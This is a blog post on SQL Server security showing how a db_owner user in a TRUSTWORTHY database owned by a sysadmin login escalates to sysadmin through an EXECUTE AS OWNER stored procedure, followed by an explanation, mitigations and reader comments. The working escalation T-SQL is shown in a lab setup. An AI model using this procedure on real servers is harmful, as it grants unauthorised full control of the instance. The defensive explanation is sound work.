In SQL Server, members of a database’s db_owner role can end up getting membership in the sysadmin server level role if the database is set as trustworthy and it’s owned by a login that’s already a member of the sysadmin role.
Setting up and testing
First, I create a database, I set it to trustworthy and make sure it’s owned by sa.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | USE master GO /*Create the databse*/ CREATE DATABASE [PrivEscDB]; GO /*Set the database as trustworthy*/ ALTER DATABASE [PrivEscDB] SET TRUSTWORTHY ON; GO /*Set SA as the database's owner*/ ALTER AUTHORIZATION ON DATABASE::[PrivEscDB] TO [sa]; GO |
Note: it’s not mandatory for the database to be owned by sa. For this to work, the database can be owned by any other login that’s already a member of the sysadmin role.
Then I create a login, a database-level user for that login, and I add the user to the db_owner role.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | /*Create the login*/ CREATE LOGIN [PrivEscLogin] WITH PASSWORD = N'S0m3Pa22', CHECK_POLICY = OFF, CHECK_EXPIRATION = OFF; GO USE [PrivEscDB] GO /*Create db user for login*/ CREATE USER [PrivEscLogin] FOR LOGIN [PrivEscLogin]; GO /*Add user to the db_owner fixed databse-level role*/ ALTER ROLE [db_owner] ADD MEMBER [PrivEscLogin]; GO |
In order to test, I connect to my test instance using PrivEscLogin and validate my connection.
Note: everything beyond this point will be executed by the PrivEscLogin user.
| 1 2 3 4 | SELECT SUSER_NAME() AS [LoginName], USER_NAME() AS [DBUserName], IS_SRVROLEMEMBER(N'sysadmin') AS [IsSysAdmin], DB_NAME() AS [DatabaseName]; |

In order to achieve privilege escalation I just need to create and execute the following procedure.
| 1 2 3 4 5 | CREATE PROCEDURE sp_PrivilegeEscalation WITH EXECUTE AS OWNER AS ALTER SERVER ROLE [sysadmin] ADD MEMBER [PrivEscLogin]; GO |
Now, I execute the stored procedure.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | /*Check user, login and role-membership pre-exec*/ SELECT SUSER_NAME() AS [LoginName], USER_NAME() AS [DBUserName], IS_SRVROLEMEMBER(N'sysadmin') AS [IsSysAdmin], DB_NAME() AS [DatabaseName]; /*Execute procedure*/ EXEC sp_PrivilegeEscalation; /*Check user, login and role-membership post-exec*/ SELECT SUSER_NAME() AS [LoginName], USER_NAME() AS [DBUserName], IS_SRVROLEMEMBER(N'sysadmin') AS [IsSysAdmin], DB_NAME() AS [DatabaseName]; |
I run the above T-SQL in one go so that the changes are noticeable in the output.

Cleanup:
| 1 2 3 4 | DROP DATABASE [PrivEscDB]; GO DROP LOGIN [PrivEscLogin]; GO |
Why does this work?
The TRUSTWORTHY database property tells SQL Server that the database and all its contents (code included) can be trusted by the instance.
So, in this case, SQL Server considers that the sp_PrivilegeEscalation procedure should be trusted and as a result it does everything the procedure requires.
The second part is the fact that the database is owned by sa.
With the WITH EXECUTE AS OWNER stored procedure option, the potential attacker tells SQL Server that anything inside the procedure should be executed in the context of the current owner of the module.
If the module doesn’t have a specified owner, the owner of the module’s schema is used.
In this case that’s dbo, since the stored procedure will be created in the default schema.
And the database-level user dbo maps to the owner of the database, which is sa.
So, the procedure executes with all the permissions of sa, regardless of the login actually executing it.
As a result, all the commands inside the stored procedure will be executed with sysadmin level permissions.
Mitigation
Ideal scenario
Ideally, you’d have the trustworthy database property disabled.
Also, as a security best practice, you’d should have a dedicated, low-privilege, login that can be set as the owner for all of the user databases.
This login should also be disabled and have connect permissions explicitly denied.
If you need to query one database from inside another database
You don’t need TRUSTWORTHY set to on.
Just have a database level user inside both databases and add said user to the appropriate roles and/or grant any required permission.
If you REALLY need trustworthy enabled
Microsoft recommends avoiding setting a database as trustworthy.
But, if you absolutely have to, you either set a low privilege and disabled login as the owner of the database (which you should as a security best practice anyway), or follow these steps:
- Create a dedicated role that would be used instead of db_owner.
- Add the role to the db_datareader, db_datawriter, and db_ddladmin (only if needed) roles.
- Grant EXECUTE to that role (this will cover all existing and future stored procedures).
- Grant EXECUTE tot the role an all scalar-valued functions.
- Grant SELECT to the role on all table-valued functions.
- Remove user(s) from the db_owner role.
- Add user(s) to the newly created role.
Points 4 and 6 can be handled with this script.
Conclusion
Having the database owner be a member of sysadmin, or any other server role with fairly powerful permissions, and trustworthy set to on is a recipe for privilege escalation up to sysadmin for anyone inside the db_owner role.
So, always apply the principle of least privilege at every possible layer.
2 comments
Hello,
Thanks for publishing this article.
you can DENY the account IMPERSONATE ANY LOGIN which will prevent db_owner grantee from creating the malicious procedure at the database level:
use [master]
GO
DENY IMPERSONATE ANY LOGIN TO [PrivEscLogin]
GO
Msg 15151, Level 16, State 1, Procedure sp_PrivilegeEscalation, Line 1 [Batch Start Line 1]
Cannot execute as the user ‘dbo’, because it does not exist or you do not have permission.
so you can block the attack and keep the db_owner permission for the account.
the following two blog posts are exploring privilege escalation also for your reference:
https://databasesecurityninja.wordpress.com/2022/08/28/sql-server-privilege-escalation-from-db_owner-to-sysadmin-by-design/
https://databasesecurityninja.wordpress.com/2024/01/07/sql-server-privilege-escalation-from-db_ddladmin-to-sysadmin/
Thanks again
Emad Al-Mousa
Hello there,
So here’s the thing about “DENY IMPERSONATE” – some applications might actually need that to run other more sensitive stored procedures without being able to modify the code. But you know what applications don’t need? That’s right, db_owner. There’s no sane reason to give any application related login the role that allows it to do anything at the database level (including dropping the database).